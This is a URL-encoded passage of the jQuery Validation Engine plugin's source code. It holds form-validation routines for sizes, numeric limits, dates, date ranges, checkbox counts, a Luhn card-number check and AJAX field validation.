%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_minSize%3A%20function%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%09%09%09var%20min%20%3D%20rules%5Bi%20+%201%5D%3B%0A%09%09%09var%20len%20%3D%20field.val%28%29.length%3B%0A%0A%09%09%09if%20%28len%20%3C%20min%29%20%7B%0A%09%09%09%09var%20rule%20%3D%20options.allrules.minSize%3B%0A%09%09%09%09return%20rule.alertText%20+%20min%20+%20rule.alertText2%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Check%20number%20minimum%20value%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_min%3A%20function%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%09%09%09var%20min%20%3D%20parseFloat%28rules%5Bi%20+%201%5D%29%3B%0A%09%09%09var%20len%20%3D%20parseFloat%28field.val%28%29%29%3B%0A%0A%09%09%09if%20%28len%20%3C%20min%29%20%7B%0A%09%09%09%09var%20rule%20%3D%20options.allrules.min%3B%0A%09%09%09%09if%20%28rule.alertText2%29%20return%20rule.alertText%20+%20min%20+%20rule.alertText2%3B%0A%09%09%09%09return%20rule.alertText%20+%20min%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Check%20number%20maximum%20value%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_max%3A%20function%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%09%09%09var%20max%20%3D%20parseFloat%28rules%5Bi%20+%201%5D%29%3B%0A%09%09%09var%20len%20%3D%20parseFloat%28field.val%28%29%29%3B%0A%0A%09%09%09if%20%28len%20%3Emax%20%29%20%7B%0A%09%09%09%09var%20rule%20%3D%20options.allrules.max%3B%0A%09%09%09%09if%20%28rule.alertText2%29%20return%20rule.alertText%20+%20max%20+%20rule.alertText2%3B%0A%09%09%09%09//orefalo%3A%20to%20review%2C%20also%20do%20the%20translations%0A%09%09%09%09return%20rule.alertText%20+%20max%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Checks%20date%20is%20in%20the%20past%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_past%3A%20function%28form%2C%20field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%0A%09%09%09var%20p%3Drules%5Bi%20+%201%5D%3B%0A%09%09%09var%20fieldAlt%20%3D%20%24%28form.find%28%22input%5Bname%3D%27%22%20+%20p.replace%28/%5E%23+/%2C%20%27%27%29%20+%20%22%27%5D%22%29%29%3B%0A%09%09%09var%20pdate%3B%0A%0A%09%09%09if%20%28p.toLowerCase%28%29%20%3D%3D%20%22now%22%29%20%7B%0A%09%09%09%09pdate%20%3D%20new%20Date%28%29%3B%0A%09%09%09%7D%20else%20if%20%28undefined%20%21%3D%20fieldAlt.val%28%29%29%20%7B%0A%09%09%09%09if%20%28fieldAlt.is%28%22%3Adisabled%22%29%29%0A%09%09%09%09%09return%3B%0A%09%09%09%09pdate%20%3D%20methods._parseDate%28fieldAlt.val%28%29%29%3B%0A%09%09%09%7D%20else%20%7B%0A%09%09%09%09pdate%20%3D%20methods._parseDate%28p%29%3B%0A%09%09%09%7D%0A%09%09%09var%20vdate%20%3D%20methods._parseDate%28field.val%28%29%29%3B%0A%0A%09%09%09if%20%28vdate%20%3E%20pdate%20%29%20%7B%0A%09%09%09%09var%20rule%20%3D%20options.allrules.past%3B%0A%09%09%09%09if%20%28rule.alertText2%29%20return%20rule.alertText%20+%20methods._dateToString%28pdate%29%20+%20rule.alertText2%3B%0A%09%09%09%09return%20rule.alertText%20+%20methods._dateToString%28pdate%29%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Checks%20date%20is%20in%20the%20future%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_future%3A%20function%28form%2C%20field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%0A%09%09%09var%20p%3Drules%5Bi%20+%201%5D%3B%0A%09%09%09var%20fieldAlt%20%3D%20%24%28form.find%28%22input%5Bname%3D%27%22%20+%20p.replace%28/%5E%23+/%2C%20%27%27%29%20+%20%22%27%5D%22%29%29%3B%0A%09%09%09var%20pdate%3B%0A%0A%09%09%09if%20%28p.toLowerCase%28%29%20%3D%3D%20%22now%22%29%20%7B%0A%09%09%09%09pdate%20%3D%20new%20Date%28%29%3B%0A%09%09%09%7D%20else%20if%20%28undefined%20%21%3D%20fieldAlt.val%28%29%29%20%7B%0A%09%09%09%09if%20%28fieldAlt.is%28%22%3Adisabled%22%29%29%0A%09%09%09%09%09return%3B%0A%09%09%09%09pdate%20%3D%20methods._parseDate%28fieldAlt.val%28%29%29%3B%0A%09%09%09%7D%20else%20%7B%0A%09%09%09%09pdate%20%3D%20methods._parseDate%28p%29%3B%0A%09%09%09%7D%0A%09%09%09var%20vdate%20%3D%20methods._parseDate%28field.val%28%29%29%3B%0A%0A%09%09%09if%20%28vdate%20%3C%20pdate%20%29%20%7B%0A%09%09%09%09var%20rule%20%3D%20options.allrules.future%3B%0A%09%09%09%09if%20%28rule.alertText2%29%0A%09%09%09%09%09return%20rule.alertText%20+%20methods._dateToString%28pdate%29%20+%20rule.alertText2%3B%0A%09%09%09%09return%20rule.alertText%20+%20methods._dateToString%28pdate%29%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Checks%20if%20valid%20date%0A%09%09*%0A%09%09*%20@param%20%7Bstring%7D%20date%20string%0A%09%09*%20@return%20a%20bool%20based%20on%20determination%20of%20valid%20date%0A%09%09*/%0A%09%09_isDate%3A%20function%20%28value%29%20%7B%0A%09%09%09var%20dateRegEx%20%3D%20new%20RegExp%28/%5E%5Cd%7B4%7D%5B%5C/%5C-%5D%280%3F%5B1-9%5D%7C1%5B012%5D%29%5B%5C/%5C-%5D%280%3F%5B1-9%5D%7C%5B12%5D%5B0-9%5D%7C3%5B01%5D%29%24%7C%5E%28%3F%3A%28%3F%3A%28%3F%3A0%3F%5B13578%5D%7C1%5B02%5D%29%28%5C/%7C-%2931%29%7C%28%3F%3A%28%3F%3A0%3F%5B1%2C3-9%5D%7C1%5B0-2%5D%29%28%5C/%7C-%29%28%3F%3A29%7C30%29%29%29%28%5C/%7C-%29%28%3F%3A%5B1-9%5D%5Cd%5Cd%5Cd%7C%5Cd%5B1-9%5D%5Cd%5Cd%7C%5Cd%5Cd%5B1-9%5D%5Cd%7C%5Cd%5Cd%5Cd%5B1-9%5D%29%24%7C%5E%28%3F%3A%28%3F%3A0%3F%5B1-9%5D%7C1%5B0-2%5D%29%28%5C/%7C-%29%28%3F%3A0%3F%5B1-9%5D%7C1%5Cd%7C2%5B0-8%5D%29%29%28%5C/%7C-%29%28%3F%3A%5B1-9%5D%5Cd%5Cd%5Cd%7C%5Cd%5B1-9%5D%5Cd%5Cd%7C%5Cd%5Cd%5B1-9%5D%5Cd%7C%5Cd%5Cd%5Cd%5B1-9%5D%29%24%7C%5E%280%3F2%28%5C/%7C-%2929%29%28%5C/%7C-%29%28%3F%3A%28%3F%3A0%5B48%5D00%7C%5B13579%5D%5B26%5D00%7C%5B2468%5D%5B048%5D00%29%7C%28%3F%3A%5Cd%5Cd%29%3F%28%3F%3A0%5B48%5D%7C%5B2468%5D%5B048%5D%7C%5B13579%5D%5B26%5D%29%29%24/%29%3B%0A%09%09%09return%20dateRegEx.test%28value%29%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Checks%20if%20valid%20date%20time%0A%09%09*%0A%09%09*%20@param%20%7Bstring%7D%20date%20string%0A%09%09*%20@return%20a%20bool%20based%20on%20determination%20of%20valid%20date%20time%0A%09%09*/%0A%09%09_isDateTime%3A%20function%20%28value%29%7B%0A%09%09%09var%20dateTimeRegEx%20%3D%20new%20RegExp%28/%5E%5Cd%7B4%7D%5B%5C/%5C-%5D%280%3F%5B1-9%5D%7C1%5B012%5D%29%5B%5C/%5C-%5D%280%3F%5B1-9%5D%7C%5B12%5D%5B0-9%5D%7C3%5B01%5D%29%5Cs+%281%5B012%5D%7C0%3F%5B1-9%5D%29%7B1%7D%3A%280%3F%5B1-5%5D%7C%5B0-6%5D%5B0-9%5D%29%7B1%7D%3A%280%3F%5B0-6%5D%7C%5B0-6%5D%5B0-9%5D%29%7B1%7D%5Cs+%28am%7Cpm%7CAM%7CPM%29%7B1%7D%24%7C%5E%28%3F%3A%28%3F%3A%28%3F%3A0%3F%5B13578%5D%7C1%5B02%5D%29%28%5C/%7C-%2931%29%7C%28%3F%3A%28%3F%3A0%3F%5B1%2C3-9%5D%7C1%5B0-2%5D%29%28%5C/%7C-%29%28%3F%3A29%7C30%29%29%29%28%5C/%7C-%29%28%3F%3A%5B1-9%5D%5Cd%5Cd%5Cd%7C%5Cd%5B1-9%5D%5Cd%5Cd%7C%5Cd%5Cd%5B1-9%5D%5Cd%7C%5Cd%5Cd%5Cd%5B1-9%5D%29%24%7C%5E%28%281%5B012%5D%7C0%3F%5B1-9%5D%29%7B1%7D%5C/%280%3F%5B1-9%5D%7C%5B12%5D%5B0-9%5D%7C3%5B01%5D%29%7B1%7D%5C/%5Cd%7B2%2C4%7D%5Cs+%281%5B012%5D%7C0%3F%5B1-9%5D%29%7B1%7D%3A%280%3F%5B1-5%5D%7C%5B0-6%5D%5B0-9%5D%29%7B1%7D%3A%280%3F%5B0-6%5D%7C%5B0-6%5D%5B0-9%5D%29%7B1%7D%5Cs+%28am%7Cpm%7CAM%7CPM%29%7B1%7D%29%24/%29%3B%0A%09%09%09return%20dateTimeRegEx.test%28value%29%3B%0A%09%09%7D%2C%0A%09%09//Checks%20if%20the%20start%20date%20is%20before%20the%20end%20date%0A%09%09//returns%20true%20if%20end%20is%20later%20than%20start%0A%09%09_dateCompare%3A%20function%20%28start%2C%20end%29%20%7B%0A%09%09%09return%20%28new%20Date%28start.toString%28%29%29%20%3C%20new%20Date%28end.toString%28%29%29%29%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Checks%20date%20range%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20first%20field%20name%0A%09%09*%20@param%20%7BjqObject%7D%20second%20field%20name%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_dateRange%3A%20function%20%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%09%09%09//are%20not%20both%20populated%0A%09%09%09if%20%28%28%21options.firstOfGroup%5B0%5D.value%20%26%26%20options.secondOfGroup%5B0%5D.value%29%20%7C%7C%20%28options.firstOfGroup%5B0%5D.value%20%26%26%20%21options.secondOfGroup%5B0%5D.value%29%29%20%7B%0A%09%09%09%09return%20options.allrules%5Brules%5Bi%5D%5D.alertText%20+%20options.allrules%5Brules%5Bi%5D%5D.alertText2%3B%0A%09%09%09%7D%0A%0A%09%09%09//are%20not%20both%20dates%0A%09%09%09if%20%28%21methods._isDate%28options.firstOfGroup%5B0%5D.value%29%20%7C%7C%20%21methods._isDate%28options.secondOfGroup%5B0%5D.value%29%29%20%7B%0A%09%09%09%09return%20options.allrules%5Brules%5Bi%5D%5D.alertText%20+%20options.allrules%5Brules%5Bi%5D%5D.alertText2%3B%0A%09%09%09%7D%0A%0A%09%09%09//are%20both%20dates%20but%20range%20is%20off%0A%09%09%09if%20%28%21methods._dateCompare%28options.firstOfGroup%5B0%5D.value%2C%20options.secondOfGroup%5B0%5D.value%29%29%20%7B%0A%09%09%09%09return%20options.allrules%5Brules%5Bi%5D%5D.alertText%20+%20options.allrules%5Brules%5Bi%5D%5D.alertText2%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Checks%20date%20time%20range%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20first%20field%20name%0A%09%09*%20@param%20%7BjqObject%7D%20second%20field%20name%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_dateTimeRange%3A%20function%20%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%09%09%09//are%20not%20both%20populated%0A%09%09%09if%20%28%28%21options.firstOfGroup%5B0%5D.value%20%26%26%20options.secondOfGroup%5B0%5D.value%29%20%7C%7C%20%28options.firstOfGroup%5B0%5D.value%20%26%26%20%21options.secondOfGroup%5B0%5D.value%29%29%20%7B%0A%09%09%09%09return%20options.allrules%5Brules%5Bi%5D%5D.alertText%20+%20options.allrules%5Brules%5Bi%5D%5D.alertText2%3B%0A%09%09%09%7D%0A%09%09%09//are%20not%20both%20dates%0A%09%09%09if%20%28%21methods._isDateTime%28options.firstOfGroup%5B0%5D.value%29%20%7C%7C%20%21methods._isDateTime%28options.secondOfGroup%5B0%5D.value%29%29%20%7B%0A%09%09%09%09return%20options.allrules%5Brules%5Bi%5D%5D.alertText%20+%20options.allrules%5Brules%5Bi%5D%5D.alertText2%3B%0A%09%09%09%7D%0A%09%09%09//are%20both%20dates%20but%20range%20is%20off%0A%09%09%09if%20%28%21methods._dateCompare%28options.firstOfGroup%5B0%5D.value%2C%20options.secondOfGroup%5B0%5D.value%29%29%20%7B%0A%09%09%09%09return%20options.allrules%5Brules%5Bi%5D%5D.alertText%20+%20options.allrules%5Brules%5Bi%5D%5D.alertText2%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Max%20number%20of%20checkbox%20selected%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_maxCheckbox%3A%20function%28form%2C%20field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%0A%09%09%09var%20nbCheck%20%3D%20rules%5Bi%20+%201%5D%3B%0A%09%09%09var%20groupname%20%3D%20field.attr%28%22name%22%29%3B%0A%09%09%09var%20groupSize%20%3D%20form.find%28%22input%5Bname%3D%27%22%20+%20groupname%20+%20%22%27%5D%3Achecked%22%29.size%28%29%3B%0A%09%09%09if%20%28groupSize%20%3E%20nbCheck%29%20%7B%0A%09%09%09%09options.showArrow%20%3D%20false%3B%0A%09%09%09%09if%20%28options.allrules.maxCheckbox.alertText2%29%0A%09%09%09%09%09%20return%20options.allrules.maxCheckbox.alertText%20+%20%22%20%22%20+%20nbCheck%20+%20%22%20%22%20+%20options.allrules.maxCheckbox.alertText2%3B%0A%09%09%09%09return%20options.allrules.maxCheckbox.alertText%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Min%20number%20of%20checkbox%20selected%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_minCheckbox%3A%20function%28form%2C%20field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%0A%09%09%09var%20nbCheck%20%3D%20rules%5Bi%20+%201%5D%3B%0A%09%09%09var%20groupname%20%3D%20field.attr%28%22name%22%29%3B%0A%09%09%09var%20groupSize%20%3D%20form.find%28%22input%5Bname%3D%27%22%20+%20groupname%20+%20%22%27%5D%3Achecked%22%29.size%28%29%3B%0A%09%09%09if%20%28groupSize%20%3C%20nbCheck%29%20%7B%0A%09%09%09%09options.showArrow%20%3D%20false%3B%0A%09%09%09%09return%20options.allrules.minCheckbox.alertText%20+%20%22%20%22%20+%20nbCheck%20+%20%22%20%22%20+%20options.allrules.minCheckbox.alertText2%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Checks%20that%20it%20is%20a%20valid%20credit%20card%20number%20according%20to%20the%0A%09%09*%20Luhn%20checksum%20algorithm.%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_nameOnId%3A%20function%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%09%09%09//spaces%20and%20dashes%20may%20be%20valid%20characters%2C%20but%20must%20be%20stripped%20to%20calculate%20the%20checksum.%0A%09%09%09var%20valid%20%3D%20false%2C%20cardNumber%20%3D%20field.val%28%29.replace%28/%20+/g%2C%20%27%27%29.replace%28/-+/g%2C%20%27%27%29%3B%0A%0A%09%09%09var%20numDigits%20%3D%20cardNumber.length%3B%0A%09%09%09if%20%28numDigits%20%3E%3D%2014%20%26%26%20numDigits%20%3C%3D%2016%20%26%26%20parseInt%28cardNumber%29%20%3E%200%29%20%7B%0A%0A%09%09%09%09var%20sum%20%3D%200%2C%20i%20%3D%20numDigits%20-%201%2C%20pos%20%3D%201%2C%20digit%2C%20luhn%20%3D%20new%20String%28%29%3B%0A%09%09%09%09do%20%7B%0A%09%09%09%09%09digit%20%3D%20parseInt%28cardNumber.charAt%28i%29%29%3B%0A%09%09%09%09%09luhn%20+%3D%20%28pos++%20%25%202%20%3D%3D%200%29%20%3F%20digit%20*%202%20%3A%20digit%3B%0A%09%09%09%09%7D%20while%20%28--i%20%3E%3D%200%29%0A%0A%09%09%09%09for%20%28i%20%3D%200%3B%20i%20%3C%20luhn.length%3B%20i++%29%20%7B%0A%09%09%09%09%09sum%20+%3D%20parseInt%28luhn.charAt%28i%29%29%3B%0A%09%09%09%09%7D%0A%09%09%09%09valid%20%3D%20sum%20%25%2010%20%3D%3D%200%3B%0A%09%09%09%7D%0A%09%09%09if%20%28%21valid%29%20return%20options.allrules.nameOnId.alertText%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Ajax%20field%20validation%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20nothing%21%20the%20ajax%20validator%20handles%20the%20prompts%20itself%0A%09%09*/%0A%09%09%20_ajax%3A%20function%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%0A%09%09%09%20var%20errorSelector%20%3D%20rules%5Bi%20+%201%5D%3B%0A%09%09%09%20var%20rule%20%3D%20options.allrules%5BerrorSelector%5D%3B%0A%09%09%09%20var%20extraData%20%3D%20rule.extraData%3B%0A%09%09%09%20var%20extraDataDynamic%20%3D%20rule.extraDataDynamic%3B%0A%09%09%09%20var%20data%20%3D%20%7B%0A%09%09%09%09%22fieldId%22%20%3A%20field.attr%28%22id%22%29%2C%0A%09%09%09%09%22fieldValue%22%20%3A%20field.val%28%29%0A%09%09%09%20%7D%3B%0A%0A%09%09%09%20if%20%28typeof%20extraData%20%3D%3D%3D%20%22object%22%29%20%7B%0A%09%09%09%09%24.extend%28data%2C%20extraData%29%3B%0A%09%09%09%20%7D%20else%20if%20%28typeof%20extraData%20%3D%3D%3D%20%22string%22%29%20%7B%0A%09%09%09%09var%20tempData%20%3D%20extraData.split%28%22%26%22%29%3B%0A%09%09%09%09for%28var%20i%20%3D%200%3B%20i%20%3C%20tempData.length%3B%20i++%29%20%7B%0A%09%09%09%09%09var%20values%20%3D%20tempData%5Bi%5D.split%28%22%3D%22%29%3B%0A%09%09%09%09%09if%20%28values%5B0%5D%20%26%26%20values%5B0%5D%29%20%7B%0A%09%09%09%09%09%09data%5Bvalues%5B0%5D%5D%20%3D%20values%5B1%5D%3B%0A%09%09%09%09%09%7D%0A%09%09%09%09%7D%0A%09%09%09%20%7D%0A%0A%09%09%09%20if%20%28extraDataDynamic%29%20%7B%0A%09%09%09%09%20var%20tmpData%20%3D%20%5B%5D%3B%0A%09%09%09%09%20var%20domIds%20%3D%20String%28extraDataDynamic%29.split%28%22%2C%22%29%3B%0A%09%09%09%09%20for%20%28var%20i%20%3D%200%3B%20i%20%3C%20domIds.length%3B%20i++%29%20%7B%0A%09%09%09%09%09%20var%20id%20%3D%20domIds%5Bi%5D%3B%0A%09%09%09%09%09%20if%20%28%24%28id%29.length%29%20%7B%0A%09%09%09%09%09%09%20var%20inputValue%20%3D%20field.closest%28%22form%2C%20.validationEngineContainer%22%29.find%28id%29.val%28%29%3B%0A%09%09%09%09%09%09%20var%20keyValue%20%3D%20id.replace%28%27%23%27%2C%20%27%27%29%20+%20%27%3D%27%20+%20escape%28inputValue%29%3B%0A%09%09%09%09%09%09%20data%5Bid.replace%28%27%23%27%2C%20%27%27%29%5D%20%3D%20inputValue%3B%0A%09%09%09%09%09%20%7D%0A%09%09%09%09%20%7D%0A%09%09%09%20%7D%0A%09%09%09%20%0A%09%09%09%20//%20If%20a%20field%20change%20event%20triggered%20this%20we%20want%20to%20clear%20the%20cache%20for%20this%20ID%0A%09%09%09%20if%20%28options.eventTrigger%20%3D%3D%20%22field%22%29%20%7B%0A%09%09%09%09delete%28options.ajaxValidCache%5Bfield.attr%28%22id%22%29%5D%29%3B%0A%09%09%09%20%7D%0A%0A%09%09%09%20//%20If%20there%20is%20an%20error%20or%20if%20the%20the%20field%20is%20already%20validated%2C%20do%20not%20re-execute%20AJAX%0A%09%09%09%20if%20%28%21options.isError%20%26%26%20%21methods._checkAjaxFieldStatus%28field.attr%28%22id%22%29%2C%20options%29%29%20%7B%0A%09%09%09%09%20%24.ajax%28%7B%0A%09%09%09%09%09%20type%3A%20options.ajaxFormValidationMethod%2C%0A%09%09%09%09%09%20url%3A%20rule.url%2C%0A%09%09%09%09%09%20cache%3A%20false%2C%0A%09%09%09%09%09%20dataType%3A%20%22json%22%2C%0A%09%09%09%09%09%20data%3A%20data%2C%0A%09%09%09%09%09%20field%3A%20field%2C%0A%09%09%09%09%09%20rule%3A%20rule%2C%0A%09%09%09%09%09%20methods%3A%20methods%2C%0A%09%09%09%09%09%20options%3A%20options%2C%0A%09%09%09%09%09%20beforeSend%3A%20function%28%29%20%7B%7D%2C%0A%09%09%09%09%09%20error%3A%20function%28data%2C%20transport%29%20%7B%0A%09%09%09%09%09%09%20methods._ajaxError%28data%2C%20transport%29%3B%0A%09%09%09%09%09%20%7D%2C%0A%09%09%09%09%09%20success%3A%20function%28json%29%20%7B%0A%0A%09%09%09%09%09%09%20//%20asynchronously%20called%20on%20success%2C%20data%20is%20the%20json%20answer%20from%20the%20server%0A%09%09%09%09%09%09%20var%20errorFieldId%20%3D%20json%5B0%5D%3B%0A%09%09%09%09%09%09%20//var%20errorField%20%3D%20%24%28%24%28%22%23%22%20+%20errorFieldId%29%5B0%5D%29%3B%0A%09%09%09%09%09%09%20var%20errorField%20%3D%20%24%28%22%23%22+%20errorFieldId%29.eq%280%29%3B%0A%0A%09%09%09%09%09%09%20//%20make%20sure%20we%20found%20the%20element%0A%09%09%09%09%09%09%20if%20%28errorField.length%20%3D%3D%201%29%20%7B%0A%09%09%09%09%09%09%09%20var%20status%20%3D%20json%5B1%5D%3B%0A%09%09%09%09%09%09%09%20//%20read%20the%20optional%20msg%20from%20the%20server%0A%09%09%09%09%09%09%09%20var%20msg%20%3D%20json%5B2%5D%3B%0A%09%09%09%09%09%09%09%20if%20%28%21status%29%20%7B%0A%09%09%09%09%09%09%09%09%20//%20Houston%20we%20got%20a%20problem%20-%20display%20an%20red%20prompt%0A%09%09%09%09%09%09%09%09%20options.ajaxValidCache%5BerrorFieldId%5D%20%3D%20false%3B%0A%09%09%09%09%09%09%09%09%20options.isError%20%3D%20true%3B%0A%0A%09%09%09%09%09%09%09%09%20//%20resolve%20the%20msg%20prompt%0A%09%09%09%09%09%09%09%09%20if%28msg%29%20%7B%0A%09%09%09%09%09%09%09%09%09%20if%20%28options.allrules%5Bmsg%5D%29%20%7B%0A%09%09%09%09%09%09%09%09%09%09%20var%20txt%20%3D%20options.allrules%5Bmsg%5D.alertText%3B%0A%09%09%09%09%09%09%09%09%09%09%20if%20%28txt%29%20%7B%0A%09%09%09%09%09%09%09%09%09%09%09msg%20%3D%20txt%3B%0A%09%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09%09%09%09%20%7D%0A%09%09%09%09%09%09%09%09%20%7D%0A%09%09%09%09%09%09%09%09%20else%0A%09%09%09%09%09%09%09%09%09msg%20%3D%20rule.alertText%3B%0A%0A%09%09%09%09%09%09%09%09%20if%20%28options.showPrompts%29%20methods._showPrompt%28errorField%2C%20msg%2C%20%22%22%2C%20true%2C%20options%29%3B%0A%09%09%09%09%09%09%09%20%7D%20else%20%7B%0A%09%09%09%09%09%09%09%09%20options.ajaxValidCache%5BerrorFieldId%5D%20%3D%20true%3B%0A%0A%09%09%09%09%09%09%09%09%20//%20resolves%20the%20msg%20prompt%0A%09%09%09%09%09%09%09%09%20if%28msg%29%20%7B%0A%09%09%09%09%09%09%09%09%09%20if%20%28options.allrules%5Bmsg%5D%29%20%7B%0A%09%09%09%09%09%09%09%09%09%09%20var%20txt%20%3D%20options.allrules%5Bmsg%5D.alertTextOk%3B%0A%09%09%09%09%09%09%09%09%09%09%20if%20%28txt%29%20%7B%0A%09%09%09%09%09%09%09%09%09%09%09msg%20%3D%20txt%3B%0A%09%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09%09%09%09%20%7D%0A%09%09%09%09%09%09%09%09%20%7D%0A%09%09%09%09%09%09%09%09%20else%0A%09%09%09%09%09%09%09%09%20msg%20%3D%20rule.alertTextOk%3B%0A%0A%09%09%09%09%09%09%09%09%20if%20%28options.showPrompts%29%20%7B%0A%09%09%09%09%09%09%09%09%09%20//%20see%20if%20we%20should%20display%20a%20green%20prompt%0A%09%09%09%09%09%09%09%09%09%20if%20%28msg%29%0A%09%09%09%09%09%09%09%09%09%09methods._showPrompt%28errorField%2C%20msg%2C%20%22pass%22%2C%20true%2C%20options%29%3B%0A%09%09%09%09%09%09%09%09%09%20else%0A%09%09%09%09%09%09%09%09%09%09methods._closePrompt%28errorField%29%3B%0A%09%09%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09%09%09%0A%09%09%09%09%09%09%09%09%20//%20If%20a%20submit%20form%20triggered%20this%2C%20we%20want%20to%20re-submit%20the%20form%0A%09%09%09%09%09%09%09%09%20if%20%28options.eventTrigger%20%3D%3D%20%22submit%22%29%0A%09%09%09%09%09%09%09%09%09field.closest%28%22form%22%29.submit%28%29%3B%0A%09%09%09%09%09%09%09%20%7D%0A%09%09%09%09%09%09%20%7D%0A%09%09%09%09%09%09%20errorField.trigger%28%22jqv.field.result%22%2C%20%5BerrorField%2C%20options.isError%2C%20msg%5D%29%3B%0A%09%09%09%09%09%20%7D%0A%09%09%09%09%20%7D%29%3B%0A%09%09%09%09%20%0A%09%09%09%09%20return%20rule.alertTextLoad%3B%0A%09%09%09%20%7D%0A%09%09%20%7D%2C%0A%09%09/**%0A%09%09*%20Common%20method%20to%20handle%20ajax%20errors%0A%09%09*%0A%09%09*%20@param%20%7BObject%7D%20data%0A%09%09*%20@param%20%7BObject%7D%20transport%0A%09%09*/%0A%09%09_ajaxError%3A%20function%28data%2C%20transport%29%20%7B%0A%09%09%09if%28data.status%20%3D%3D%200%20%26%26%20transport%20%3D%3D%20null%29%0A%09%09%09%09alert%28%22The%20page%20is%20not%20served%20from%20a%20server%21%20ajax%20call%20failed%22%29%3B%0A%09%09%09else%20if%28typeof%20console%20%21%3D%20%22undefined%22%29%0A%09%09%09%09console.log%28%22Ajax%20error%3A%20%22%20+%20data.status%20+%20%22%20%22%20+%20transport%29%3B%0A%09%09%7D%2C%0A%09%09